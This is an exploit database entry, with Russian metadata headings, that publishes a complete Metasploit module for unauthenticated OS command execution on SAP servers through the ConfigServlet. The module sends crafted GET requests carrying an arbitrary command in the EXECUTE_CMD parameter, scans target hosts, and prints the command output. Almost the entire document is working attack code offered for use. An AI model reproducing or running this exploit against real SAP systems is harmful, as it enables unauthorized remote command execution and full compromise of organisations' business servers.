SAP ConfigServlet OS Command Execution Exploit

Свойства

Дата публикации:
19.04.2013
Цель:
SAP ConfigServlet
Тип воздействия:
Компрометация системы

Код

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'SAP ConfigServlet OS command execution',
            'Description'     => %q{
                    This module allows execution of operating system commands through
                the SAP ConfigServlet without any authentication.
            },
            'Author'          =>
                [
                    'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
                    'Andras Kabai', # Metasploit module
                ],
            'License'         => MSF_LICENSE,
            'References'      =>
                [
                    [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
                ],
            'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
            ))

        register_options(
            [
                Opt::RPORT(50000),
                OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
                OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
                OptBool.new('SSL', [true, 'Use SSL', false])
            ], self.class)
    end

    def run_host(ip)
        begin
            print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
            res = send_request_cgi(
                {
                    'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
                    'method' => 'GET',
                })
            if !res or res.code != 200
                print_error("#{rhost}:#{rport} - Exploit failed.")
                return
            end
        rescue ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - Failed to connect to the server")
            return
        end

        if res.body.include?("Process created")
            print_good("#{rhost}:#{rport} - Exploited successfully\n")
            print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
            print_line("#{rhost}:#{rport} - Output: #{res.body}")
        else
            print_error("#{rhost}:#{rport} - Exploit failed.")
            vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        end
    end
end

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